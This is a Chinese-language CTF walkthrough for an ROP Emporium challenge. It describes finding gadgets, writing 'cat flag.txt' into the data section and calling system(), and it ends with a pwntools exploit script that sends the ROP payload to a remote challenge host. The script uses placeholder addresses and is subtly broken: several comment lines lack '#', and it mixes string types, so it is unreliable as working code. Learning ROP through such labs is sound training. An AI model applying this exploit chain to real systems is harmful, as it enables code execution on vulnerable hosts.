ROP游戏攻略，详解第五章第四关过关技巧与步骤方法

ROP（Return-Oriented Programming，返回导向编程）是一种高级的内存攻击技术，通过利用现有程序代码中的子程序返回指令，间接执行精心挑选的指令或机器指令组，从而绕过现代操作系统的各种通用防御机制，ROP技术常用于CTF（Capture The Flag，夺旗赛）等信息安全竞赛中，ROP Emporium是一个经典的ROP学习平台，提供了多个层次的ROP挑战关卡，本文将详细介绍ROP Emporium第5章第4关的过关方法。

一、ROP第5章第4关概述

ROP Emporium的第5章第4关是一个典型的ROP挑战，要求攻击者通过ROP技术执行特定的命令，获取flag，这一关的挑战在于如何在受限的环境下，利用ROP gadgets（代码片段）来构造攻击载荷，最终调用system函数执行cat flag.txt命令，从而获取flag。

二、ROP第5章第4关过关步骤

1、查看文件信息

使用rabin2或radare2等工具查看目标二进制文件的基础信息，确认NX（No Execute）位是否已设置，NX位用于防止数据段执行代码，是操作系统的一种安全机制，如果NX位已设置，意味着我们不能直接在数据段执行代码，需要通过ROP技术间接执行。

2、寻找字符串

使用strings命令配合grep过滤，尝试在二进制文件中找到cat flag.txt字符串，在本关中，该字符串并不存在，因此我们需要手动构造。

3、分析函数

使用反汇编工具分析二进制文件中的函数，特别是那些可能包含有用信息的函数，在本例中，我们关注system函数的调用，因为我们的目标是执行cat flag.txt命令。

4、确定写入位置

通过查看section headers，找到一个合适的内存区域（如data段）来写入我们的字符串，使用readelf等工具确认该区域是否为空，以确保我们可以安全地写入数据。

5、寻找ROP gadgets

使用ropgadget等工具在二进制文件中寻找ROP gadgets，我们需要找到以下类型的gadgets：

- 能够将值写入内存地址的mov gadget。

- 能够将值从寄存器弹出到栈上的pop gadget。

- 能够将栈上的值放入寄存器的pop rdi gadget（因为system函数的第一个参数是通过rdi寄存器传递的）。

6、构造攻击载荷

根据找到的gadgets，构造攻击载荷，我们需要将cat flag.txt字符串分块（每块8字节），并依次写入内存，使用mov gadget将字符串放入之前确定的内存地址，使用pop gadget将字符串的地址放入寄存器，调用system函数，传递字符串地址作为参数。

7、编写exp脚本

将上述步骤整合到Python脚本中，使用pwntools等工具编写exp脚本，脚本的主要部分包括：

- 构造字符串并分块。

- 使用ROP gadgets构造攻击载荷。

- 发送攻击载荷到目标程序。

8、运行exp脚本

运行exp脚本，观察输出，如果一切顺利，你应该能够看到flag的输出。

三、ROP第5章第4关过关示例

以下是一个简化的ROP第5章第4关exp脚本示例：

from pwn import *
定义将字符串放入内存地址的函数
def place_string_at_address(mov_gadget_address, pop_gadget_address, string_address, string):
    while len(string) % 8 != 0:
        string += "\x00"
    splitted_string = [string[i:i + 8] for i in range(0, len(string), 8)]
    payload = ""
    for i in range(len(splitted_string)):
        payload += p64(pop_gadget_address)
        payload += p64(string_address + (i * 8))
        payload += splitted_string[i]
        payload += p64(mov_gadget_address)
    return payload
构造攻击载荷
offset = 'A' * 40  # 填充至目标地址
mov_gadget = 0x400820  # 假设的mov gadget地址
pop_gadget = 0x400890  # 假设的pop gadget地址
string_address = 0x601050  # 假设的字符串存放地址
system_address = 0x00400810  # 假设的system函数地址
pop_rdi_address = 0x400893  # 假设的pop rdi gadget地址
构造cat flag.txt字符串并放入内存
payload = offset + place_string_at_address(mov_gadget, pop_gadget, string_address, "cat flag.txt")
payload += p64(pop_rdi_address)  # 将字符串地址放入rdi寄存器
payload += p64(string_address)  # 字符串地址作为system函数的参数
payload += p64(system_address)  # 调用system函数
发送攻击载荷
io = remote('rop.challenge.url', 12345)  # 替换为目标服务器的地址和端口
io.sendline(payload)
io.interactive()  # 获取shell并查看flag输出

上述脚本中的地址（如mov_gadget、pop_gadget、string_address等）是假设的，实际使用时需要根据目标二进制文件的实际情况进行调整。

四、相关问题及解答

问题：ROP第5章第4关中，如果找不到合适的ROP gadgets怎么办？

解答：如果在ROP第5章第4关中找不到合适的ROP gadgets，可以尝试以下几种方法：

1、重新分析二进制文件：确保你已经仔细分析了二进制文件中的所有函数和代码段，特别是那些可能包含有用ROP gadgets的部分。

2、使用不同的工具：尝试使用不同的ROP gadgets查找工具，如ropgadget、ROPper等，这些工具可能会提供不同的视角和结果。

3、修改攻击策略：如果找不到直接可用的ROP gadgets，可以考虑修改攻击策略，尝试利用其他漏洞（如格式化字符串漏洞、栈溢出漏洞等）来获取控制权，然后再利用ROP技术执行目标命令。

4、参考他人经验：查阅ROP Emporium的官方解答、CTF竞赛的write-up或其他安全研究者的博客和文章，这些资源可能会提供关于如何找到和利用ROP gadgets的宝贵经验。

通过综合运用上述方法，你应该能够找到足够的ROP gadgets来构造攻击载荷，并成功通过ROP第5章第4关。